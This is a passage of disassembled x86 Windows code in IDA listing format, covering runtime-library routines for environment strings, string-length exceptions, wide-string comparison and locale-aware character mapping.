short loc_4262DA ; --------------------------------------------------------------------------- loc_4262A5: ; CODE XREF: sub_4261AB+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_4262DF ; --------------------------------------------------------------------------- loc_4262AD: ; CODE XREF: sub_4261AB+BDj ; sub_4261AB+C2j test ebx, ebx jnz short loc_42632B test esi, esi jge short loc_4262B7 neg esi loc_4262B7: ; CODE XREF: sub_4261AB+108j lea eax, ds:8[esi*4] push eax push edi call sub_41B202 pop ecx test eax, eax pop ecx jz loc_42620F mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_4262DA: ; CODE XREF: sub_4261AB+F8j mov dword_4DB2A0, eax loc_4262DF: ; CODE XREF: sub_4261AB+F6j ; sub_4261AB+100j cmp [ebp+arg_4], 0 jz short loc_42632B push [ebp+arg_0] call sub_41AFE0 inc eax inc eax push eax call sub_41B4D5 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_42632B push [ebp+arg_0] push esi call sub_41BEB0 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi call near ptr 25D0000h nop push esi call sub_41B0B1 pop ecx loc_42632B: ; CODE XREF: sub_4261AB+6Ej ; sub_4261AB+104j ... xor eax, eax jmp loc_426212 sub_4261AB endp ; =============== S U B R O U T I N E ======================================= sub_426332 proc near ; CODE XREF: sub_4261AB+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_4DB2A0 push edi mov eax, [esi] test eax, eax jz short loc_42636D mov edi, [esp+8+arg_4] loc_426344: ; CODE XREF: sub_426332+39j push edi push eax push [esp+10h+arg_0] call sub_425E56 add esp, 0Ch test eax, eax jnz short loc_426363 mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_42637D test al, al jz short loc_42637D loc_426363: ; CODE XREF: sub_426332+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_426344 loc_42636D: ; CODE XREF: sub_426332+Cj mov eax, esi sub eax, dword_4DB2A0 sar eax, 2 neg eax loc_42637A: ; CODE XREF: sub_426332+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42637D: ; CODE XREF: sub_426332+2Bj ; sub_426332+2Fj mov eax, esi sub eax, dword_4DB2A0 sar eax, 2 jmp short loc_42637A sub_426332 endp ; =============== S U B R O U T I N E ======================================= sub_42638A proc near ; CODE XREF: sub_4261AB+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_426399 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_426399: ; CODE XREF: sub_42638A+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_4263AB loc_4263A1: ; CODE XREF: sub_42638A+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_4263A1 loc_4263AB: ; CODE XREF: sub_42638A+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_41B4D5 mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_4263CC push 9 call sub_41DA29 pop ecx loc_4263CC: ; CODE XREF: sub_42638A+38j mov eax, [edi] mov ebx, edi loc_4263D0: ; CODE XREF: sub_42638A+5Bj test eax, eax jz short loc_4263E7 push eax add ebx, 4 call sub_426464 mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_4263D0 ; --------------------------------------------------------------------------- loc_4263E7: ; CODE XREF: sub_42638A+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_42638A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4263F1 proc near ; CODE XREF: sub_4261AB+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_4DC6DC, 0 jnz short loc_42640C push [ebp+arg_4] push [ebp+arg_0] call sub_41BFB0 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_42640C: ; CODE XREF: sub_4263F1+Aj mov ecx, [ebp+arg_0] loc_42640F: ; CODE XREF: sub_4263F1+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_426452 movzx edx, al test byte_4DC7E1[edx], 4 jz short loc_42643E mov dl, [ecx+1] inc ecx test dl, dl jz short loc_426449 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_42644D jmp short loc_426446 ; --------------------------------------------------------------------------- loc_42643E: ; CODE XREF: sub_4263F1+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_426452 loc_426446: ; CODE XREF: sub_4263F1+4Bj inc ecx jmp short loc_42640F ; --------------------------------------------------------------------------- loc_426449: ; CODE XREF: sub_4263F1+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_42644D: ; CODE XREF: sub_4263F1+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_426452: ; CODE XREF: sub_4263F1+25j ; sub_4263F1+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_4263F1 endp ; =============== S U B R O U T I N E ======================================= sub_426464 proc near ; CODE XREF: sub_417EEE+21p ; sub_42638A+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_42648B push esi call sub_41AFE0 inc eax push eax call sub_41B4D5 pop ecx test eax, eax pop ecx jz short loc_42648B push esi push eax call sub_41BEB0 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_42648B: ; CODE XREF: sub_426464+7j ; sub_426464+1Aj xor eax, eax pop esi retn sub_426464 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_426490 proc near ; CODE XREF: sub_426573+19p ; sub_42669A+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_41AFE0 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_40D6EF mov eax, esi pop esi retn 8 sub_426490 endp ; =============== S U B R O U T I N E ======================================= sub_4264BA proc near ; CODE XREF: ___:004264E5p ; sub_426568+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_40D6B3 mov ecx, esi pop esi jmp sub_4268B6 sub_4264BA endp ; =============== S U B R O U T I N E ======================================= sub_4264D5 proc near ; DATA XREF: ___:00427D10o ; ___:00427D20o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4264E1 mov eax, offset dword_4276A8 locret_4264E1: ; CODE XREF: sub_4264D5+5j retn sub_4264D5 endp ; --------------------------------------------------------------------------- loc_4264E2: ; DATA XREF: ___:off_427D0Co push esi mov esi, ecx call sub_4264BA test byte ptr [esp+8], 1 jz short loc_4264F8 push esi call sub_41CC83 pop ecx loc_4264F8: ; CODE XREF: ___:004264EFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4264FE proc near ; CODE XREF: sub_426573+29p mov eax, offset loc_426E32 call sub_41CC64 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427D28 call sub_42682F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_427D1C mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4264FE endp ; =============== S U B R O U T I N E ======================================= sub_42654C proc near ; DATA XREF: ___:off_427D1Co arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426568 test [esp+4+arg_0], 1 jz short loc_426562 push esi call sub_41CC83 pop ecx loc_426562: ; CODE XREF: sub_42654C+Dj mov eax, esi pop esi retn 4 sub_42654C endp ; =============== S U B R O U T I N E ======================================= sub_426568 proc near ; CODE XREF: sub_42654C+3p ; DATA XREF: ___:00428094o mov dword ptr [ecx], offset off_427D1C jmp sub_4264BA sub_426568 endp ; =============== S U B R O U T I N E ======================================= sub_426573 proc near ; CODE XREF: sub_40D560+13p ; sub_40D724+Ep mov eax, offset loc_426E44 call sub_41CC64 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_426490 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4264FE push offset dword_428090 lea eax, [ebp-3Ch] push eax call sub_4268D9 int 3 ; Trap to Debugger sub_426573 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4265B0 proc near ; CODE XREF: sub_4264FE+32p ; sub_4265D0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_40D560 mov eax, esi pop esi retn 4 sub_4265B0 endp ; =============== S U B R O U T I N E ======================================= sub_4265D0 proc near ; CODE XREF: sub_42669A+29p mov eax, offset loc_426E56 call sub_41CC64 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427D28 call sub_42682F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4265D0 endp ; =============== S U B R O U T I N E ======================================= sub_426618 proc near ; CODE XREF: sub_426682+7p ; sub_4266DE+7p ... mov eax, offset loc_426E68 call sub_41CC64 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_42686C and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_426618 endp ; =============== S U B R O U T I N E ======================================= sub_42665B proc near ; DATA XREF: ___:off_427D48o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426677 test [esp+4+arg_0], 1 jz short loc_426671 push esi call sub_41CC83 pop ecx loc_426671: ; CODE XREF: sub_42665B+Dj mov eax, esi pop esi retn 4 sub_42665B endp ; =============== S U B R O U T I N E ======================================= sub_426677 proc near ; CODE XREF: sub_42665B+3p ; DATA XREF: ___:0042813Co mov dword ptr [ecx], offset off_427D48 jmp sub_4264BA sub_426677 endp ; =============== S U B R O U T I N E ======================================= sub_426682 proc near ; CODE XREF: sub_4266F6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426618 mov dword ptr [esi], offset off_427D1C mov eax, esi pop esi retn 4 sub_426682 endp ; =============== S U B R O U T I N E ======================================= sub_42669A proc near ; CODE XREF: sub_40D4B0+15p ; sub_40D509+15p ... mov eax, offset loc_426E7A call sub_41CC64 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_426490 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4265D0 push offset dword_428138 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_427D48 call sub_4268D9 int 3 ; Trap to Debugger sub_42669A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4266DE proc near ; CODE XREF: sub_4266F6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426618 mov dword ptr [esi], offset off_427D48 mov eax, esi pop esi retn 4 sub_4266DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4266F6 proc near ; DATA XREF: ___:00427D14o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426618 push offset dword_428178 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger loc_426714: ; DATA XREF: ___:00427D50o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4266DE push offset dword_428138 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger loc_426732: ; DATA XREF: ___:00427D24o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426682 push offset dword_428090 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger sub_4266F6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426750 proc near nop jmp near ptr 71B2ACCBh sub_426750 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426756 proc near ; CODE XREF: sub_40CE40+5Ep ; ___:00414BE5p ... nop jmp near ptr 71AB1B7Bh sub_426756 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42675C proc near ; CODE XREF: sub_41C8D0+23p ; sub_41CB74+13p nop jmp near ptr 2840000h sub_42675C endp ; =============== S U B R O U T I N E ======================================= sub_426762 proc near ; CODE XREF: sub_417275+E2p ; sub_417275+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_4DB334, 0 push ebx jnz short loc_4267A8 mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_426774: ; CODE XREF: sub_426762+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_426786 cmp bx, 41h jb short loc_426786 add ebx, 20h loc_426786: ; CODE XREF: sub_426762+19j ; sub_426762+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_426798 cmp ax, 41h jb short loc_426798 add eax, 20h loc_426798: ; CODE XREF: sub_426762+2Bj ; sub_426762+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_4267D8 cmp bx, ax jz short loc_426774 jmp short loc_4267D8 ; --------------------------------------------------------------------------- loc_4267A8: ; CODE XREF: sub_426762+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_4267B2: ; CODE XREF: sub_426762+72j mov ax, [esi] inc esi push eax inc esi call sub_426913 mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_426913 pop ecx test bx, bx pop ecx jz short loc_4267D6 cmp bx, ax jz short loc_4267B2 loc_4267D6: ; CODE XREF: sub_426762+6Dj pop edi pop esi loc_4267D8: ; CODE XREF: sub_426762+3Dj ; sub_426762+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_426762 endp ; =============== S U B R O U T I N E ======================================= sub_4267E2 proc near ; CODE XREF: ___:004267FAp mov dword ptr [ecx], offset off_427D68 mov ecx, [ecx+4] test ecx, ecx jz short locret_4267F6 push ecx call sub_41B0B1 pop ecx locret_4267F6: ; CODE XREF: sub_4267E2+Bj retn sub_4267E2 endp ; --------------------------------------------------------------------------- loc_4267F7: ; DATA XREF: ___:off_427D68o push esi mov esi, ecx call sub_4267E2 test byte ptr [esp+8], 1 jz short loc_42680D push esi call sub_41CC83 pop ecx loc_42680D: ; CODE XREF: ___:00426804j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_426813: ; DATA XREF: ___:off_427D70o push esi mov esi, ecx call sub_4268B6 test byte ptr [esp+8], 1 jz short loc_426829 push esi call sub_41CC83 pop ecx loc_426829: ; CODE XREF: ___:00426820j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_42682F proc near ; CODE XREF: sub_4264FE+1Dp ; sub_4265D0+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D70 push dword ptr [edi] call sub_41AFE0 inc eax push eax call sub_41CFC5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42685E push dword ptr [edi] push eax call sub_41BEB0 pop ecx pop ecx loc_42685E: ; CODE XREF: sub_42682F+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_42682F endp ; =============== S U B R O U T I N E ======================================= sub_42686C proc near ; CODE XREF: sub_426618+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D70 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_4268A9 push dword ptr [edi+4] call sub_41AFE0 inc eax push eax call sub_41CFC5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_4268AF push dword ptr [edi+4] push eax call sub_41BEB0 pop ecx pop ecx jmp short loc_4268AF ; --------------------------------------------------------------------------- loc_4268A9: ; CODE XREF: sub_42686C+16j mov eax, [edi+4] mov [esi+4], eax loc_4268AF: ; CODE XREF: sub_42686C+2Ej ; sub_42686C+3Bj mov eax, esi pop edi pop esi retn 4 sub_42686C endp ; =============== S U B R O U T I N E ======================================= sub_4268B6 proc near ; CODE XREF: sub_4264BA+16j ; ___:00426816p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_427D70 jz short locret_4268CB push dword ptr [ecx+4] call sub_41CC83 pop ecx locret_4268CB: ; CODE XREF: sub_4268B6+Aj retn sub_4268B6 endp ; =============== S U B R O U T I N E ======================================= sub_4268CC proc near ; DATA XREF: ___:00427D74o mov eax, [ecx+4] test eax, eax jnz short locret_4268D8 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_4268D8: ; CODE XREF: sub_4268CC+5j retn sub_4268CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4268D9 proc near ; CODE XREF: sub_426573+37p ; sub_42669A+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_427D90 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] nop call near ptr 26403CDh pop edi pop esi leave retn 8 sub_4268D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426913 proc near ; CODE XREF: sub_426762+56p ; sub_426762+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_426925 or ax, ax leave retn ; --------------------------------------------------------------------------- loc_426925: ; CODE XREF: sub_426913+Bj cmp dword_4DB334, 0 jnz short loc_42693F cmp ax, 41h jb short locret_426986 cmp ax, 5Ah ja short locret_426986 add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_42693F: ; CODE XREF: sub_426913+19j cmp ax, 100h jnb short loc_426959 push 1 push eax call sub_426BC1 pop ecx test eax, eax pop ecx jnz short loc_426959 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_426959: ; CODE XREF: sub_426913+30j ; sub_426913+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_4DB334 call sub_426988 add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_426986 mov ax, [ebp+var_2] locret_426986: ; CODE XREF: sub_426913+1Fj ; sub_426913+25j ... leave retn sub_426913 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426988 proc near ; CODE XREF: sub_426913+5Fp var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427DB0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp dword_4DB58C, esi jnz short loc_4269FE push esi push esi push 1 pop ebx push ebx push offset dword_427940 mov edi, 100h push edi push esi nop call near ptr 2630000h test eax, eax jz short loc_4269DC mov dword_4DB58C, ebx jmp short loc_4269FE ; --------------------------------------------------------------------------- loc_4269DC: ; CODE XREF: sub_426988+4Aj push esi push esi push ebx push offset dword_4CAE2C push edi push esi call near ptr 26311ADh nop test eax, eax jz loc_426B7D mov dword_4DB58C, 2 loc_4269FE: ; CODE XREF: sub_426988+2Ej ; sub_426988+52j cmp [ebp+arg_C], esi jle short loc_426A13 push [ebp+arg_C] push [ebp+arg_8] call sub_426B91 pop ecx pop ecx mov [ebp+arg_C], eax loc_426A13: ; CODE XREF: sub_426988+79j mov eax, dword_4DB58C cmp eax, 1 jnz short loc_426A3A push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2630000h nop jmp loc_426B7F ; --------------------------------------------------------------------------- loc_426A3A: ; CODE XREF: sub_426988+93j cmp eax, 2 jnz loc_426B7D cmp [ebp+arg_18], esi jnz short loc_426A50 mov eax, dword_4DB344 mov [ebp+arg_18], eax loc_426A50: ; CODE XREF: sub_426988+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 27F0000h mov [ebp+var_20], eax cmp eax, esi jz loc_426B7D mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_426A96 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_426A96: ; CODE XREF: sub_426988+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_426B7D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 27F0000h test eax, eax jz loc_426B7D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 26311ADh mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_426B7D mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_426B19 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_426B19: ; CODE XREF: sub_426988+17Dj cmp ebx, esi jz short loc_426B7D push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 26311ADh test eax, eax jz short loc_426B7D test byte ptr [ebp+arg_4+1], 4 jz short loc_426B57 mov eax, [ebp+arg_14] cmp eax, esi jz short loc_426B79 cmp eax, edi jl short loc_426B48 mov eax, edi loc_426B48: ; CODE XREF: sub_426988+1BCj push eax push ebx push [ebp+arg_10] call sub_41B5F0 add esp, 0Ch jmp short loc_426B79 ; --------------------------------------------------------------------------- loc_426B57: ; CODE XREF: sub_426988+1B1j cmp [ebp+arg_14], esi jnz short loc_426B60 push esi push esi jmp short loc_426B66 ; --------------------------------------------------------------------------- loc_426B60: ; CODE XREF: sub_426988+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_426B66: ; CODE XREF: sub_426988+1D6j push edi push ebx push 1 push [ebp+arg_18] call near ptr 2800000h nop mov edi, eax cmp edi, esi jz short loc_426B7D loc_426B79: ; CODE XREF: sub_426988+1B8j ; sub_426988+1CDj mov eax, edi jmp short loc_426B7F ; --------------------------------------------------------------------------- loc_426B7D: ; CODE XREF: sub_426988+66j ; sub_426988+B5j ... xor eax, eax loc_426B7F: ; CODE XREF: sub_426988+ADj ; sub_426988+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426988 endp ; =============== S U B R O U T I N E ======================================= sub_426B91 proc near ; CODE XREF: sub_426988+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_426BB0 loc_426BA1: ; CODE XREF: sub_426B91+1Dj cmp word ptr [eax], 0 jz short loc_426BB0 inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_426BA1 loc_426BB0: ; CODE XREF: sub_426B91+Ej ; sub_426B91+14j cmp word ptr [eax], 0 pop esi jnz short loc_426BBE sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_426BBE: ; CODE XREF: sub_426B91+24j mov eax, edx retn sub_426B91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426BC1 proc near ; CODE XREF: sub_426913+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_426C01 cmp [ebp+arg_0], 100h jnb short loc_426BE5 movzx eax, [ebp+arg_0] mov ecx, off_43C2FC mov ax, [ecx+eax*2] jmp short loc_426C08 ; --------------------------------------------------------------------------- loc_426BE5: ; CODE XREF: sub_426BC1+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_426C13 add esp, 18h test eax, eax jnz short loc_426C05 loc_426C01: ; CODE XREF: sub_426BC1+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_426C05: ; CODE XREF: sub_426BC1+3Ej mov eax, [ebp+var_4] loc_426C08: ; CODE XREF: sub_426BC1+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_426BC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426C13 proc near ; CODE XREF: sub_426BC1+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427DC8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DB590 xor edi, edi cmp eax, edi jnz short loc_426C82 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427940 push esi nop call near ptr 2600000h test eax, eax jz short loc_426C60 mov eax, esi jmp short loc_426C7D ; --------------------------------------------------------------------------- loc_426C60: ; CODE XREF: sub_426C13+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4CAE2C push esi push edi call near ptr 2600841h nop test eax, eax jz loc_426DC4 push 2 pop eax loc_426C7D: ; CODE XREF: sub_426C13+4Bj mov dword_4DB590, eax loc_426C82: ; CODE XREF: sub_426C13+2Fj cmp eax, 1 jnz short loc_426C9E push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2600000h jmp loc_426DC6 ; --------------------------------------------------------------------------- loc_426C9E: ; CODE XREF: sub_426C13+72j cmp eax, 2 jnz loc_426DC4 cmp [ebp+arg_10], edi jnz short loc_426CB4 mov eax, dword_4DB344 mov [ebp+arg_10], eax loc_426CB4: ; CODE XREF: sub_426C13+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] call near ptr 27F0000h nop mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_426DC4 mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_41B590 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_426D12 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_426D12: ; CODE XREF: sub_426C13+EAj cmp [ebp+var_2C], edi jz loc_426DC4 push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 27F0000h test eax, eax jz loc_426DC4 mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_426D67 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_426D67: ; CODE XREF: sub_426C13+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_426DC4 mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_426D7B mov eax, dword_4DB334 loc_426D7B: ; CODE XREF: sub_426C13+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, 